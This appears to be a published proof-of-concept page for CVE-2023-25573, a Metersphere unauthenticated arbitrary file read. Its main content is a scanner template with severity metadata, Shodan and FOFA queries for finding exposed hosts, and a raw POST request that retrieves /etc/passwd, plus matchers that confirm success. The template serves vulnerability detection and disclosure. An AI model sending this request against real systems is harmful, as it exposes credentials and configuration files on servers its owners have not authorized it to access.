CVE-2023-25573: Metersphere - Arbitrary File Read

2025-08-01 Metersphere PoC Public

Description

Metersphere is an open source continuous testing platform. In affected versions an improper access control vulnerability exists in `/api/jmeter/download/files`, which allows any user to download any file without authentication. This issue may expose all files available to the running process. This issue has been addressed in version 1.20.20 lts and 2.7.1

PoC

id: CVE-2023-25573

info:
  name: Metersphere - Arbitrary File Read
  author: DhiyaneshDK
  severity: high
  description: |
    Metersphere is an open source continuous testing platform. In affected versions an improper access control vulnerability exists in `/api/jmeter/download/files`, which allows any user to download any file without authentication. This issue may expose all files available to the running process. This issue has been addressed in version 1.20.20 lts and 2.7.1
  impact: |
    This vulnerability can lead to unauthorized access to sensitive information, such as configuration files, credentials, and other sensitive data.
  remediation: Users are advised to upgrade. There are no known workarounds for this vulnerability.
  reference:
    - https://github.com/Threekiii/Awesome-POC/blob/master/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/Metersphere%20file%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E%20CVE-2023-25573.md
    - https://nvd.nist.gov/vuln/detail/CVE-2023-25573
    - https://github.com/metersphere/metersphere/security/advisories/GHSA-mcwr-j9vm-5g8h
    - https://github.com/20142995/sectool
    - https://github.com/KayCHENvip/vulnerability-poc
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-25573
    cwe-id: CWE-862
    epss-score: 0.51609
    epss-percentile: 0.98886
    cpe: cpe:2.3:a:metersphere:metersphere:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: metersphere
    product: metersphere
    shodan-query: http.html:"metersphere"
    fofa-query:
      - body="Metersphere"
      - body="metersphere"
      - title="metersphere"
  tags: cve,cve2023,metersphere,lfi,vkev,vuln
variables:
  str: "{{rand_base(4)}}"
  rand: "{{rand_base(3)}}"

http:
  - raw:
      - |
        POST /api/jmeter/download/files HTTP/1.1
        Content-Type: application/json

        {"reportId":"{{str}}","bodyFiles":[{"id":"{{rand}}","name":"/etc/passwd"}]}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '/etc/passwd'

      - type: word
        part: header
        words:
          - 'filename="{{str}}.zip"'
          - 'application/octet-stream'
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100c77fdef5abbb99b91ce25aae6ff3f64df86110fa7b0ba19c151e2331904f152002205ba7f7c2a4acb673a6e0ca22d718a09cfd9222628b133bc0d89dd0f32ecbc89e:922c64590222798bb761d5b6d8e72950

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